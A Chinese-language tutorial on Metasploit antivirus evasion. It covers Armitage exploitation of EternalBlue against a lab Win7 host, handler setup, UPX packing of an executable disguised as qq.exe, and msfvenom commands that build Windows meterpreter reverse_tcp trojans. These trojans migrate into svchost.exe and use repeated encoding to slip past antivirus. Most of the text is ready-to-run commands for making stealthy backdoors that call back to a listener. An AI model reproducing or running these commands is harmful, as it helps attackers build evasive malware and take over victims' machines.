- 1. 会话提升的几种方式
- 2. armitage的熟悉
- 3. handler生成监听器的方法
- 4. 防止会话假死
- 5. 控制台设置编码
- 6. upx加壳
- 7. msfvenom木马payload持久化
- 8. msfvenom木马编码
正文
免杀1
1. 会话提升的几种方式
python -c "import pty;pty.spawn('/bin/bash');" 会话提升

session -u 4 将shell会话提升成meterpreter会话

直接修改payload,原来的设置的payload为shell的木马也能连上


2. armitage的熟悉
apt-get install armitage 安装

armitage 进入界面
不用改直接进入

选择快速查询

输入要查询的地址

nmap出来存活的主机有(1是物理电脑,2是网关,135是linux靶机,254是广播地址,128是win7靶机,129是本机)

拒绝访问打开服务管理器

用所有的漏洞进行探测

搜索ms17

移过去

存在永恒之蓝的漏洞
进行渗透

渗透成功


这里可以设置监听器

3. handler生成监听器的方法

handler -H 192.168.1.129 -P 4444 -p windows/meterpreter/reverse_tcp |
4. 防止会话假死
show advanced 显示高级参数设置

set ExitOnSession false 监听到shell之后端口继续监听



set SessionCommunicationTimeout 0 设置会话存活时间,默认5分钟


set SessionExpirationTimeout 0 设置会话存活时间,默认一星期


5. 控制台设置编码
EnableStageEncoding 是否允许stage进行编码


StageEncoder 设置要用的编码
优秀的编码:x86/shikata_ga_nai、cmd/powershell_base64


6. upx加壳
加壳

upx -9 qq.exe -1压缩更快 -9压缩更好 -d解压 -l列表压缩文件 -t测试压缩文件 -V显示版本号 -h给予更多帮助 -L显示软件许可证 |
测试压缩文件能否运行
upx -t qq.com OK表示可以运行 |
7. msfvenom木马payload持久化
(会在运行木马的时候自动迁移到svchost.exe的对应进程中去)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.129 lport=4444 PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe |
8. msfvenom木马编码
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.227.129 lport=4444 -e cmd/powershell_base64 -i 14 -f exe -o shell.exe |